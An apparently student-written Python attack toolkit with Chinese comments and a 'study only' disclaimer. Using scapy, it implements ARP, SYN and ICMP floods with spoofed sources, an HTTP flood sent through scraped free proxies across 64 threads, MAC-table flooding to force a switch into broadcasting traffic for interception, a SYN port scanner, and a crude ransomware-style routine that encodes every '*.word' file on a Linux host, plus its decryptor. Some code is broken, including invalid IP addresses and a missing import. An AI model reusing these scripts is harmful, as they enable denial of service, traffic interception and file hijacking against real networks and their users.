僅供學習參考,不要在真實環境使用
from scapy.layers.inet import IP, TCP,ICMP from scapy.sendrecv import sr1,send from scapy.layers.l2 import ARP,Ether import random,os,logging,base64,requests,threading from urllib import request from bs4 import BeautifulSoup from scapy.volatile import RandMAC
def arp(): ip=input('請輸入ip:') while True: logging.getLogger("scapy.runtime").setLevel(logging.ERROR) pkg=ARP(psrc=ip,pdst=ip) send(pkg,verbose=False)
def tcp(): ip = input('請輸入ip:') while True: logging.getLogger("scapy.runtime").setLevel(logging.ERROR) sport = random.randint(10000, 30000) pkg = IP(src=ip,dst=ip) / TCP(sport=sport, dport=80, flags='S') send(pkg, verbose=False)
def icmp(): ip = input('請輸入ip:') while True: logging.getLogger("scapy.runtime").setLevel(logging.ERROR) payload = 'erwrqr' * 100 pkg = IP(src='192.168.123.456', dst=ip) / ICMP() / payload * 200 send(pkg, verbose=False)
proxies=[] # 爬取代理服務器的ip和端口 def get_proxies(): proxies_url = 'https://free.kuaidaili.com/free/inha/' #相當與 temp=requests.get(proxies_url) response=temp.text # python標准解析,將文檔暫存到內存 soup=BeautifulSoup(response,'html.parser') #找到所有tr標簽 trs=soup.find_all('tr') for tr in trs: if tr.td is None: continue data=tr.find_all('td') # [<td data-title="IP">202.55.5.209</td>獲取的是值 ip =data[0].text port=data[1].text method=data[3].text if method =='HTTP': proxies.append(ip+':'+port)
用代理服務器發請求 def cc_attack(): target_url = 'http://192.168.28.17.42:80' try: proxy=random.choice(proxies) # 調用代理 proxy_handler = request.ProxyHandler({'http':proxy}) # 相當於打開urlopen opener = request.build_opener(proxy_handler) # install_opener(opener) 安裝opener作為urlopen()使用的全局URL opener,意味著以後調用urlopen()時都會使用安裝的opener對象 request.install_opener(opener) for i in range(100): request.urlopen(target_url) except Exception as e: print(e) return
# 多線程代理泛紅 def do_attack(thread_number=64): for _ in range(thread_number): threading.Thread(target=cc_attack).start()
主要針對交換機,目的是將表塞滿,造成交換機廣播數據,從而截取
def macfh(): while True: try: rand_mac=RandMAC("*:*:*:*:*") src=f'192.168.17.{random.randint(1,254)}' dst=f'192.168.17.{random.randint(1,254)}' src_mac,dst_mac=rand_mac,rand_mac pkg=Ether(src=src_mac,dst=dst_mac)/IP(src=src,dst=dst) sendp(pkg,iface='VMware Virtual Ethernet Adapter for VMnet8',loop=0,verbose=False) except: pass
def duankou(ip): for port in range(10, 100): logging.getLogger("scapy.runtime").setLevel(logging.ERROR) try: pkg = IP(src='192.168.112.123', dst=ip) / TCP(dport=port, flags='S') reply = sr1(pkg, timeout=1, verbose=False) if reply[TCP].flags == 0x12: print(f'端口 {port} 開放') except: pass
# 加密的代碼,需要上傳到liux運行,會將所有word加密 def jiami(): filepwd = os.popen('find / -name "*.word"').read().strip().split('\n') # 加密 for i in filepwd: with open(i, 'rb') as f: data = f.read() resp = base64.b64encode(data).decode() r = '' for j in resp: b = (ord(j) + 5) r += chr(b) f = i.split('.')[0] print(f) # os.remove(i) with open(f'{f}.jm', 'wb') as fl: fl.write(r.encode()) #解密的代碼 def jiemi(): filepwd = os.popen('find / -name "*jm"').read().strip().split('\n') print(filepwd) for i in filepwd: with open(i, 'rb') as f: data = f.read().decode() r = '' for d in data: b = (ord(d) - 5) r += chr(b) s = base64.b64decode(r) f = i.split('.')[0] print(f) os.remove(i) with open(f'{f}.word', 'wb') as fl: fl.write(s)